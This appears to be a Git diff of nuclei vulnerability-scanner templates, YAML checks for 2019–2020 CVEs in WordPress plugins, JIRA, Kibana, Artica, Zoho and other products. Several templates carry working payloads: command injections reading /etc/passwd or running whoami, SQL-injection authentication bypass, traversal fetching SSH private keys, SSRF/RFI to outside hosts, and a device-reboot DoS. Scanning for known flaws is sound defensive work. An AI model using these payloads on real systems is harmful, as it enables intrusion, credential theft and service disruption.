|
||||
id: cve-2019-6715
|
||||
|
||||
info:
|
||||
name: CVE-2019-6715
|
||||
author: randomrobbie
|
||||
severity: high
|
||||
description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
|
||||
Content-Length: 124
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "TmVzc3VzQ29kZUV4ZWNUZXN0"
|
||||
part: body
|
||||
@@ -0,0 +1,42 @@
|
||||
id: cve-2019-7256
|
||||
|
||||
info:
|
||||
name: eMerge E3 1.00-06 - Remote Code Execution
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
|
||||
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
|
||||
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
|
||||
# Refrence: https://www.exploit-db.com/exploits/47619
|
||||
|
||||
requests:
|
||||
- raw: # Default Port
|
||||
- |
|
||||
GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
- |
|
||||
GET /nuclei.txt HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
@@ -0,0 +1,39 @@
|
||||
id: cve-2019-7609
|
||||
|
||||
info:
|
||||
name: Kibana Timelion Arbitrary Code Execution
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# Kibana versions before 5.6.15 and 6.6.1
|
||||
# contain an arbitrary code execution flaw in the Timelion visualizer.
|
||||
# An attacker with access to the Timelion application could send a request
|
||||
# that will attempt to execute javascript code.
|
||||
# This could possibly lead to an attacker executing arbitrary commands
|
||||
# with permissions of the Kibana process on the host system.
|
||||
# --
|
||||
# References:
|
||||
# - https://github.com/mpgn/CVE-2019-7609
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/api/timelion/run"
|
||||
- "{{BaseURL}}:5601/api/timelion/run"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
|
||||
Content-Type: "application/json; charset=utf-8"
|
||||
body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "seriesList"
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "Content-Type: application/json"
|
||||
part: header
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,19 @@
|
||||
id: cve-2019-8442
|
||||
info:
|
||||
name: JIRA Directory Traversal
|
||||
author: Kishore Krishna (siLLyDaddy)
|
||||
severity: medium
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- >-
|
||||
{{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- <groupId>com.atlassian.jira</groupId>
|
||||
part: body
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-8449
|
||||
id: cve-2019-8449
|
||||
|
||||
info:
|
||||
name: JIRA Unauthenticated Sensitive Information Disclosure
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-8451
|
||||
id: cve-2019-8451
|
||||
|
||||
info:
|
||||
name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-8903
|
||||
id: cve-2019-8903
|
||||
|
||||
info:
|
||||
name: Totaljs - Unathenticated Directory Traversal
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-8982
|
||||
id: cve-2019-8982
|
||||
info:
|
||||
name: Wavemaker Studio 6.6 LFI/SSRF
|
||||
author: madrobot
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
id: cve-2019-9978
|
||||
|
||||
info:
|
||||
name: WordPress social-warfare RFI
|
||||
author: madrobot & dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# Reference:- https://github.com/mpgn/CVE-2019-9978
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "Burp Collabolator Server"
|
||||
part: body
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2020-10199
|
||||
id: cve-2020-10199
|
||||
|
||||
info:
|
||||
name: Nexus Repository Manager 3 RCE
|
||||
auhtor: hetroublemakr
|
||||
severity: high
|
||||
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
|
||||
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
|
||||
requests:
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2020-10204
|
||||
id: cve-2020-10204
|
||||
|
||||
info:
|
||||
name: Sonatype Nexus Repository RCE
|
||||
auhtor: hetroublemakr
|
||||
severity: high
|
||||
description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
|
||||
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
|
||||
requests:
|
||||
@@ -21,4 +22,4 @@ requests:
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 200
|
||||
@@ -0,0 +1,23 @@
|
||||
id: cve-2020-11034
|
||||
|
||||
info:
|
||||
name: GLPI v.9.4.6 - Open redirect
|
||||
author: pikpikcu
|
||||
severity: low
|
||||
|
||||
# https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
|
||||
# https://github.com/glpi-project/glpi/archive/9.4.6.zip
|
||||
# https://nvd.nist.gov/vuln/detail/CVE-2020-11034
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
||||
path:
|
||||
- '{{BaseURL}}/index.php?redirect=/\/evil.com/'
|
||||
- '{{BaseURL}}/index.php?redirect=//evil.com'
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
|
||||
part: header
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2020-1147
|
||||
id: cve-2020-1147
|
||||
|
||||
info:
|
||||
name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
id: cve-2020-12116
|
||||
|
||||
info:
|
||||
name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
|
||||
|
||||
# References:
|
||||
# - https://github.com/BeetleChunks/CVE-2020-12116
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}:8060
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
Cache-Control: max-age=0
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}
|
||||
|
||||
- |
|
||||
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
|
||||
Host: {{Hostname}}:8060
|
||||
Accept: */*
|
||||
Cache-Control: max-age=0
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}:8060/
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: endpoint
|
||||
part: body
|
||||
internal: true
|
||||
regex:
|
||||
- "(?m)/cachestart/.*/jquery/"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "BEGIN RSA PRIVATE KEY"
|
||||
part: body
|
||||
@@ -1,10 +1,10 @@
|
||||
id: CVE-2020-12720
|
||||
id: cve-2020-12720
|
||||
|
||||
info:
|
||||
name: CVE-2020-12720 vBulletin SQLI
|
||||
author: pdnuclei - projectdiscovery.io
|
||||
severity: critical
|
||||
|
||||
description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
|
||||
# Source https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
|
||||
# This template supports the detection part only.
|
||||
# Do not test any website without permission
|
||||
@@ -15,7 +15,6 @@ requests:
|
||||
- |
|
||||
POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Connection: keep-alive
|
||||
X-Requested-With: XMLHttpRequest
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2020-13167
|
||||
id: cve-2020-13167
|
||||
|
||||
info:
|
||||
name: Netsweeper WebAdmin unixlogin.php Python Code Injection
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
|
||||
|
||||
# This template exploits a Python code injection in the Netsweeper
|
||||
# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
|
||||
@@ -38,4 +39,4 @@ requests:
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 200
|
||||
@@ -0,0 +1,26 @@
|
||||
id: cve-2020-14179
|
||||
|
||||
info:
|
||||
name: Sensitive data exposure via insecure Jira endpoint
|
||||
author: x1m_martijn
|
||||
severity: medium
|
||||
description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
|
||||
|
||||
# Source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/secure/QueryComponent!Default.jspa"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "searchers"
|
||||
- "groups"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,26 @@
|
||||
id: cve-2020-14181
|
||||
|
||||
info:
|
||||
name: User enumeration via insecure Jira endpoint
|
||||
author: bjhulst
|
||||
severity: medium
|
||||
description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
|
||||
|
||||
# Source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
|
||||
# This template supports the detection part only.
|
||||
# Do not test any website without permission
|
||||
# Do not report without having working poc.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/secure/ViewUserHover.jspa"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "User does not exist"
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,28 @@
|
||||
id: cve-2020-15129
|
||||
|
||||
info:
|
||||
name: Open-redirect in Traefik
|
||||
author: dwisiswant0
|
||||
severity: medium
|
||||
description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
|
||||
|
||||
# Ref:
|
||||
# - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}:8081"
|
||||
headers:
|
||||
X-Forwarded-Prefix: "https://foo.nl"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 302
|
||||
- type: word
|
||||
words:
|
||||
- "<a href=\"https://foo.nl/dashboard/\">Found</a>"
|
||||
condition: or
|
||||
part: body
|
||||
@@ -0,0 +1,37 @@
|
||||
id: cve-2020-15505
|
||||
|
||||
info:
|
||||
name: RCE in MobileIron Core & Connector <= v10.6 & Sentry <= v9.8
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# THIS TEMPLATE IS ONLY FOR DETECTING
|
||||
# To carry out further attacks, please see references[2] below.
|
||||
# This template works by passing a Hessian header, otherwise;
|
||||
# it will return a 403 or 500 internal server error. References[3].
|
||||
|
||||
# References:
|
||||
# - [1] https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
|
||||
# - [2] https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505
|
||||
# - [3] https://github.com/iamnoooob/CVE-Reverse/blob/master/CVE-2020-15505/hessian.py#L10
|
||||
# - [4] https://github.com/orangetw/JNDI-Injection-Bypass
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /mifs/.;/services/LogService HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Referer: https://{{Hostname}}
|
||||
Content-Type: x-application/hessian
|
||||
Connection: close
|
||||
|
||||
{{hex_decode('630200480004')}}
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "application/x-hessian"
|
||||
part: header
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,24 @@
|
||||
id: cve-2020-15920
|
||||
|
||||
info:
|
||||
name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required.
|
||||
|
||||
# References:
|
||||
# - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,28 @@
|
||||
id: cve-2020-16139
|
||||
|
||||
info:
|
||||
name: Cisco 7937G Denial-of-Service Reboot Attack
|
||||
author: pikpikcu
|
||||
severity: low
|
||||
|
||||
# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "application/xml"
|
||||
- type: word
|
||||
words:
|
||||
- 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||||
@@ -0,0 +1,46 @@
|
||||
id: cve-2020-17505
|
||||
|
||||
info:
|
||||
name: Artica Web Proxy 4.30 OS Command Injection
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
|
||||
|
||||
# Artica Web Proxy 4.30.00000000
|
||||
# allows an authenticated remote attacker
|
||||
# to inject commands via the service-cmds parameter in cyrus.php.
|
||||
# These commands are executed with root
|
||||
# privileges via service_cmds_peform.
|
||||
# -
|
||||
# References:
|
||||
# > https://blog.max0x4141.com/post/artica_proxy/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "array(2)"
|
||||
- "Position: ||whoami||"
|
||||
- "root"
|
||||
condition: and
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,42 @@
|
||||
id: cve-2020-17506
|
||||
|
||||
info:
|
||||
name: Artica Web Proxy 4.30 Authentication Bypass
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
|
||||
|
||||
# Artica Web Proxy 4.30.00000000
|
||||
# allows remote attacker to bypass privilege detection
|
||||
# and gain web backend administrator privileges
|
||||
# through SQL injection of the apikey parameter in fw.login.php.
|
||||
# -
|
||||
# References:
|
||||
# > https://blog.max0x4141.com/post/artica_proxy/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
|
||||
redirects: true
|
||||
max-redirects: 1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "artica-applianc"
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 301
|
||||
- 302
|
||||
condition: or
|
||||
- type: word
|
||||
name: session
|
||||
words:
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- "PHPSESSID"
|
||||
Loaded 100 of 337 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user